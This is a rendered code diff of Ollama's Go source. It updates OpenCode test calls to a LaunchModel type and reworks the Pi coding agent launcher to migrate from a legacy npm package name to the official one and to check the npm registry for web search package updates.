if _, err := buildInlineConfig("llama3.2", nil); err == nil {
|
||||
if _, err := buildInlineConfig(fallbackLaunchModel("llama3.2"), nil); err == nil {
|
||||
t.Error("expected error for empty models")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("primary differs from first model in list", func(t *testing.T) {
|
||||
content, err := buildInlineConfig("qwen3:32b", []string{"llama3.2", "qwen3:32b"})
|
||||
content, err := buildInlineConfig(fallbackLaunchModel("qwen3:32b"), testLaunchModels("llama3.2", "qwen3:32b"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
@@ -592,7 +684,7 @@ func TestOpenCodeEdit_PreservesRecentEntries(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"new-X"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("new-X")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -626,7 +718,7 @@ func TestOpenCodeEdit_PreservesRecentEntries(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"X", "Y", "Z"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("X", "Y", "Z")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -663,7 +755,7 @@ func TestOpenCodeEdit_PreservesRecentEntries(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"qwen3:32b"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("qwen3:32b")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -700,7 +792,7 @@ func TestOpenCodeEdit_PreservesRecentEntries(t *testing.T) {
|
||||
os.WriteFile(filepath.Join(stateDir, "model.json"), data, 0o644)
|
||||
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"llama3.2"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("llama3.2")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -742,7 +834,7 @@ func TestOpenCodeEdit_PreservesRecentEntries(t *testing.T) {
|
||||
|
||||
// Add 5 new models — should cap at 10 total
|
||||
o := &OpenCode{}
|
||||
if err := o.Edit([]string{"new-0", "new-1", "new-2", "new-3", "new-4"}); err != nil {
|
||||
if err := o.Edit(testLaunchModels("new-0", "new-1", "new-2", "new-3", "new-4")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -763,7 +855,7 @@ func TestOpenCodeEdit_BaseURL(t *testing.T) {
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
// Default OLLAMA_HOST
|
||||
o.Edit([]string{"llama3.2"})
|
||||
o.Edit(testLaunchModels("llama3.2"))
|
||||
|
||||
var cfg map[string]any
|
||||
json.Unmarshal([]byte(o.configContent), &cfg)
|
||||
|
||||
+384
-66
@@ -5,30 +5,35 @@ import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
// Pi implements Runner and Editor for Pi (Pi Coding Agent) integration
|
||||
type Pi struct{}
|
||||
|
||||
const (
|
||||
piNpmPackage = "@mariozechner/pi-coding-agent"
|
||||
piWebSearchSource = "npm:@ollama/pi-web-search"
|
||||
piWebSearchPkg = "@ollama/pi-web-search"
|
||||
piNpmPackage = "@earendil-works/pi-coding-agent"
|
||||
piLegacyNpmPackage = "@mariozechner/pi-coding-agent"
|
||||
piWebSearchSource = "npm:@ollama/pi-web-search"
|
||||
piWebSearchPkg = "@ollama/pi-web-search"
|
||||
)
|
||||
|
||||
func (p *Pi) String() string { return "Pi" }
|
||||
|
||||
func (p *Pi) Run(model string, args []string) error {
|
||||
var npmRegistryBaseURL = "https://registry.npmjs.org"
|
||||
|
||||
func (p *Pi) Run(_ string, _ []LaunchModel, args []string) error {
|
||||
fmt.Fprintf(os.Stderr, "\n%sPreparing Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := ensureNpmInstalled(); err != nil {
|
||||
return err
|
||||
@@ -60,6 +65,22 @@ func ensureNpmInstalled() error {
|
||||
|
||||
func ensurePiInstalled() (string, error) {
|
||||
if _, err := exec.LookPath("pi"); err == nil {
|
||||
install, pkgErr := installedPiPackageInfo()
|
||||
if pkgErr != nil {
|
||||
fmt.Fprintf(os.Stderr, "%sCould not verify which Pi package is installed: %v%s\n", ansiYellow, pkgErr, ansiReset)
|
||||
fmt.Fprintf(os.Stderr, "Pi will still launch. To switch to the official package manually:\n npm uninstall -g %s\n npm install -g %s\n\n", piLegacyNpmPackage, piNpmPackage)
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
if install.packageName == piLegacyNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sUpdating Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := migrateLegacyPiPackage(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
@@ -67,7 +88,29 @@ func ensurePiInstalled() (string, error) {
|
||||
return "", fmt.Errorf("pi is not installed and required dependencies are missing\n\nInstall the following first:\n npm (Node.js): https://nodejs.org/\n\nThen re-run:\n ollama launch pi")
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Pi is not installed. Install with npm?")
|
||||
install, pkgErr := installedPiPackageInfo()
|
||||
if pkgErr == nil && install.packageName == piLegacyNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sUpdating Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := migrateLegacyPiPackage(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
if pkgErr == nil && install.packageName == piNpmPackage {
|
||||
fmt.Fprintf(os.Stderr, "%sInstalling Pi...%s\n", ansiGray, ansiReset)
|
||||
if err := installPiPackageWithPrefix(install.npmPrefix); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Install Pi with npm?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -76,36 +119,252 @@ func ensurePiInstalled() (string, error) {
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Pi...\n")
|
||||
cmd := exec.Command("npm", "install", "-g", piNpmPackage+"@latest")
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install pi: %w", err)
|
||||
if err := installPiPackage(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
if _, err := exec.LookPath("pi"); err != nil {
|
||||
return "", fmt.Errorf("pi was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
if err := requirePiOnPath(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sPi installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return "pi", nil
|
||||
}
|
||||
|
||||
func requirePiOnPath() error {
|
||||
if _, err := exec.LookPath("pi"); err != nil {
|
||||
return fmt.Errorf("pi was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installPiPackage() error {
|
||||
return installPiPackageWithPrefix("")
|
||||
}
|
||||
|
||||
func installPiPackageWithPrefix(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "install", "-g", piNpmPackage+"@latest")...); err != nil {
|
||||
return fmt.Errorf("failed to install pi: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func migrateLegacyPiPackage(prefix string) error {
|
||||
if err := installPiPackageForced(prefix); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
installed, err := npmPackageInstalledWithPrefix(piNpmPackage, prefix)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to verify official pi package: %w", err)
|
||||
}
|
||||
if !installed {
|
||||
return fmt.Errorf("failed to verify official pi package")
|
||||
}
|
||||
|
||||
if err := uninstallLegacyPiPackageWithPrefix(prefix); err != nil {
|
||||
return err
|
||||
}
|
||||
return installPiPackageWithPrefix(prefix)
|
||||
}
|
||||
|
||||
func installPiPackageForced(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "install", "-g", piNpmPackage+"@latest", "--force")...); err != nil {
|
||||
return fmt.Errorf("failed to install pi: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func uninstallLegacyPiPackageWithPrefix(prefix string) error {
|
||||
if err := runQuietCommand("npm", npmArgs(prefix, "uninstall", "-g", piLegacyNpmPackage)...); err != nil {
|
||||
return fmt.Errorf("failed to remove legacy pi package: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func runQuietCommand(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return err
|
||||
}
|
||||
return fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
type piPackageInstall struct {
|
||||
packageName string
|
||||
npmPrefix string
|
||||
}
|
||||
|
||||
func installedPiPackageInfo() (piPackageInstall, error) {
|
||||
if _, err := exec.LookPath("npm"); err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
|
||||
if bin, err := exec.LookPath("pi"); err == nil {
|
||||
install, err := piPackageInstallFromBinary(bin)
|
||||
if err == nil && install.packageName != "" {
|
||||
return install, nil
|
||||
}
|
||||
}
|
||||
|
||||
installed, err := npmPackageInstalled(piLegacyNpmPackage)
|
||||
if err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
if installed {
|
||||
return piPackageInstall{packageName: piLegacyNpmPackage}, nil
|
||||
}
|
||||
|
||||
installed, err = npmPackageInstalled(piNpmPackage)
|
||||
if err != nil {
|
||||
return piPackageInstall{}, err
|
||||
}
|
||||
if installed {
|
||||
return piPackageInstall{packageName: piNpmPackage}, nil
|
||||
}
|
||||
|
||||
return piPackageInstall{}, nil
|
||||
}
|
||||
|
||||
func piPackageInstallFromBinary(bin string) (piPackageInstall, error) {
|
||||
realPath, err := filepath.EvalSymlinks(bin)
|
||||
if err != nil {
|
||||
realPath = bin
|
||||
}
|
||||
|
||||
dir := filepath.Dir(realPath)
|
||||
for {
|
||||
packageJSON := filepath.Join(dir, "package.json")
|
||||
data, err := os.ReadFile(packageJSON)
|
||||
if err == nil {
|
||||
var payload struct {
|
||||
Name string `json:"name"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) == nil && (payload.Name == piLegacyNpmPackage || payload.Name == piNpmPackage) {
|
||||
return piPackageInstall{packageName: payload.Name, npmPrefix: npmPrefixForPackageRoot(dir)}, nil
|
||||
}
|
||||
}
|
||||
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
|
||||
return piPackageInstall{}, nil
|
||||
}
|
||||
|
||||
func npmPrefixForPackageRoot(packageRoot string) string {
|
||||
return npmPrefixForPackageRootForGOOS(filepath.Clean(packageRoot), runtime.GOOS, string(filepath.Separator))
|
||||
}
|
||||
|
||||
func npmPrefixForPackageRootForGOOS(packageRoot, goos, separator string) string {
|
||||
packageRoot = strings.TrimRight(packageRoot, separator)
|
||||
nodeModules := separator + "node_modules" + separator
|
||||
idx := strings.LastIndex(packageRoot, nodeModules)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
|
||||
rootDir := packageRoot[:idx]
|
||||
if pathBaseForSeparator(rootDir, separator) == "lib" {
|
||||
// Unix npm global root is <prefix>/lib/node_modules.
|
||||
return pathDirForSeparator(rootDir, separator)
|
||||
}
|
||||
if goos == "windows" {
|
||||
// Windows npm global root is usually <prefix>\node_modules.
|
||||
return rootDir
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func pathBaseForSeparator(path, separator string) string {
|
||||
path = strings.TrimRight(path, separator)
|
||||
idx := strings.LastIndex(path, separator)
|
||||
if idx == -1 {
|
||||
return path
|
||||
}
|
||||
return path[idx+len(separator):]
|
||||
}
|
||||
|
||||
func pathDirForSeparator(path, separator string) string {
|
||||
path = strings.TrimRight(path, separator)
|
||||
idx := strings.LastIndex(path, separator)
|
||||
if idx == -1 {
|
||||
return ""
|
||||
}
|
||||
if idx == 0 {
|
||||
return separator
|
||||
}
|
||||
return path[:idx]
|
||||
}
|
||||
|
||||
func npmPackageInstalled(pkg string) (bool, error) {
|
||||
return npmPackageInstalledWithPrefix(pkg, "")
|
||||
}
|
||||
|
||||
func npmPackageInstalledWithPrefix(pkg, prefix string) (bool, error) {
|
||||
cmd := exec.Command("npm", npmArgs(prefix, "ls", "-g", pkg, "--depth=0", "--json")...)
|
||||
out, err := cmd.Output()
|
||||
|
||||
var payload struct {
|
||||
Dependencies map[string]json.RawMessage `json:"dependencies"`
|
||||
}
|
||||
|
||||
if parseErr := json.Unmarshal(out, &payload); parseErr == nil {
|
||||
_, ok := payload.Dependencies[pkg]
|
||||
if ok {
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
msg := strings.TrimSpace(string(exitErr.Stderr))
|
||||
if msg == "" {
|
||||
msg = strings.TrimSpace(string(out))
|
||||
}
|
||||
if msg == "" {
|
||||
return false, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
return false, err
|
||||
}
|
||||
|
||||
func npmArgs(prefix string, args ...string) []string {
|
||||
if prefix == "" {
|
||||
return args
|
||||
}
|
||||
return append([]string{"--prefix", prefix}, args...)
|
||||
}
|
||||
|
||||
func ensurePiWebSearchPackage(bin string) {
|
||||
if !shouldManagePiWebSearch() {
|
||||
if !shouldManageOllamaWebSearch() {
|
||||
fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sChecking Pi web search package...%s\n", ansiGray, ansiReset)
|
||||
|
||||
installed, err := piPackageInstalled(bin, piWebSearchSource)
|
||||
pkg, err := piPackageInfo(bin, piWebSearchSource)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not check %s installation: %v%s\n", ansiYellow, piWebSearchPkg, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
if !installed {
|
||||
if !pkg.installed {
|
||||
fmt.Fprintf(os.Stderr, "%sInstalling %s...%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
cmd := exec.Command(bin, "install", piWebSearchSource)
|
||||
cmd.Stdout = os.Stdout
|
||||
@@ -119,6 +378,11 @@ func ensurePiWebSearchPackage(bin string) {
|
||||
return
|
||||
}
|
||||
|
||||
updateAvailable, err := piWebSearchUpdateAvailable(pkg.installedPath)
|
||||
if err != nil || !updateAvailable {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sUpdating %s...%s\n", ansiGray, piWebSearchPkg, ansiReset)
|
||||
cmd := exec.Command(bin, "update", piWebSearchSource)
|
||||
cmd.Stdout = os.Stdout
|
||||
@@ -131,7 +395,7 @@ func ensurePiWebSearchPackage(bin string) {
|
||||
fmt.Fprintf(os.Stderr, "%s ✓ Updated %s%s\n", ansiGreen, piWebSearchPkg, ansiReset)
|
||||
}
|
||||
|
||||
func shouldManagePiWebSearch() bool {
|
||||
func shouldManageOllamaWebSearch() bool {
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return true
|
||||
@@ -144,25 +408,108 @@ func shouldManagePiWebSearch() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func piPackageInstalled(bin, source string) (bool, error) {
|
||||
type piPackageListEntry struct {
|
||||
installed bool
|
||||
installedPath string
|
||||
}
|
||||
|
||||
func piPackageInfo(bin, source string) (piPackageListEntry, error) {
|
||||
cmd := exec.Command(bin, "list")
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return false, err
|
||||
return piPackageListEntry{}, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
return piPackageListEntry{}, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
lines := strings.Split(string(out), "\n")
|
||||
for i, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if strings.HasPrefix(trimmed, source) {
|
||||
return true, nil
|
||||
return piPackageListEntry{installed: true, installedPath: piPackageListInstalledPath(lines[i+1:])}, nil
|
||||
}
|
||||
}
|
||||
|
||||
return false, nil
|
||||
return piPackageListEntry{}, nil
|
||||
}
|
||||
|
||||
func piPackageListInstalledPath(lines []string) string {
|
||||
for _, line := range lines {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(trimmed, "npm:") || strings.HasPrefix(trimmed, "git:") || strings.HasSuffix(trimmed, ":") {
|
||||
return ""
|
||||
}
|
||||
if filepath.IsAbs(trimmed) {
|
||||
return trimmed
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func piWebSearchUpdateAvailable(installedPath string) (bool, error) {
|
||||
if piOfflineModeEnabled() || installedPath == "" {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
installedVersion, err := npmInstalledPackageVersion(installedPath)
|
||||
if err != nil || installedVersion == "" {
|
||||
return false, err
|
||||
}
|
||||
|
||||
latestVersion, err := npmLatestPackageVersion(piWebSearchPkg)
|
||||
if err != nil || latestVersion == "" {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return latestVersion != installedVersion, nil
|
||||
}
|
||||
|
||||
func piOfflineModeEnabled() bool {
|
||||
value := os.Getenv("PI_OFFLINE")
|
||||
return value == "1" || strings.EqualFold(value, "true") || strings.EqualFold(value, "yes")
|
||||
}
|
||||
|
||||
func npmInstalledPackageVersion(installedPath string) (string, error) {
|
||||
data, err := os.ReadFile(filepath.Join(installedPath, "package.json"))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var payload struct {
|
||||
Version string `json:"version"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &payload); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return payload.Version, nil
|
||||
}
|
||||
|
||||
func npmLatestPackageVersion(pkg string) (string, error) {
|
||||
client := http.Client{Timeout: 10 * time.Second}
|
||||
requestURL := strings.TrimRight(npmRegistryBaseURL, "/") + "/" + url.PathEscape(pkg) + "/latest"
|
||||
resp, err := client.Get(requestURL)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
|
||||
return "", fmt.Errorf("npm registry returned %s", resp.Status)
|
||||
}
|
||||
|
||||
var payload struct {
|
||||
Version string `json:"version"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&payload); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return payload.Version, nil
|
||||
}
|
||||
|
||||
func (p *Pi) Paths() []string {
|
||||
@@ -183,7 +530,7 @@ func (p *Pi) Paths() []string {
|
||||
return paths
|
||||
}
|
||||
|
||||
func (p *Pi) Edit(models []string) error {
|
||||
func (p *Pi) Edit(models []LaunchModel) error {
|
||||
if len(models) == 0 {
|
||||
return nil
|
||||
}
|
||||
@@ -225,7 +572,7 @@ func (p *Pi) Edit(models []string) error {
|
||||
// Build set of selected models to track which need to be added
|
||||
selectedSet := make(map[string]bool, len(models))
|
||||
for _, m := range models {
|
||||
selectedSet[m] = true
|
||||
selectedSet[m.Name] = true
|
||||
}
|
||||
|
||||
// Build new models list:
|
||||
@@ -256,11 +603,9 @@ func (p *Pi) Edit(models []string) error {
|
||||
}
|
||||
|
||||
// Add newly selected models that weren't already in the list
|
||||
client := api.NewClient(envconfig.Host(), http.DefaultClient)
|
||||
ctx := context.Background()
|
||||
for _, model := range models {
|
||||
if selectedSet[model] {
|
||||
newModels = append(newModels, createConfig(ctx, client, model))
|
||||
if selectedSet[model.Name] {
|
||||
newModels = append(newModels, createConfig(model))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -272,7 +617,7 @@ func (p *Pi) Edit(models []string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := fileutil.WriteWithBackup(configPath, configData); err != nil {
|
||||
if err := fileutil.WriteWithBackup(configPath, configData, "pi"); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -284,13 +629,13 @@ func (p *Pi) Edit(models []string) error {
|
||||
}
|
||||
|
||||
settings["defaultProvider"] = "ollama"
|
||||
settings["defaultModel"] = models[0]
|
||||
settings["defaultModel"] = models[0].Name
|
||||
|
||||
settingsData, err := json.MarshalIndent(settings, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(settingsPath, settingsData)
|
||||
return fileutil.WriteWithBackup(settingsPath, settingsData, "pi")
|
||||
}
|
||||
|
||||
func (p *Pi) Models() []string {
|
||||
@@ -342,54 +687,27 @@ func hasContextWindow(cfg map[string]any) bool {
|
||||
}
|
||||
}
|
||||
|
||||
// createConfig builds Pi model config with capability detection
|
||||
func createConfig(ctx context.Context, client *api.Client, modelID string) map[string]any {
|
||||
// createConfig builds Pi model config with capability detection.
|
||||
func createConfig(model LaunchModel) map[string]any {
|
||||
cfg := map[string]any{
|
||||
"id": modelID,
|
||||
"id": model.Name,
|
||||
"_launch": true,
|
||||
}
|
||||
if l, ok := lookupCloudModelLimit(modelID); ok {
|
||||
cfg["contextWindow"] = l.Context
|
||||
}
|
||||
|
||||
applyCloudContextFallback := func() {
|
||||
if l, ok := lookupCloudModelLimit(modelID); ok {
|
||||
cfg["contextWindow"] = l.Context
|
||||
}
|
||||
}
|
||||
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: modelID})
|
||||
if err != nil {
|
||||
applyCloudContextFallback()
|
||||
return cfg
|
||||
}
|
||||
|
||||
// Set input types based on vision capability
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityVision) {
|
||||
if model.HasCapability("vision") {
|
||||
cfg["input"] = []string{"text", "image"}
|
||||
} else {
|
||||
cfg["input"] = []string{"text"}
|
||||
}
|
||||
|
||||
// Set reasoning based on thinking capability
|
||||
if slices.Contains(resp.Capabilities, model.CapabilityThinking) {
|
||||
if model.HasCapability("thinking") {
|
||||
cfg["reasoning"] = true
|
||||
}
|
||||
|
||||
// Extract context window from ModelInfo. For known cloud models, the
|
||||
// pre-filled shared limit remains unless the server provides a positive value.
|
||||
hasContextWindow := false
|
||||
for key, val := range resp.ModelInfo {
|
||||
if strings.HasSuffix(key, ".context_length") {
|
||||
if ctxLen, ok := val.(float64); ok && ctxLen > 0 {
|
||||
cfg["contextWindow"] = int(ctxLen)
|
||||
hasContextWindow = true
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasContextWindow {
|
||||
applyCloudContextFallback()
|
||||
if model.ContextLength > 0 {
|
||||
cfg["contextWindow"] = model.ContextLength
|
||||
}
|
||||
|
||||
return cfg
|
||||
|
||||
+624
-165
File diff suppressed because it is too large.
Load diff
Loaded 100 of 1368 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user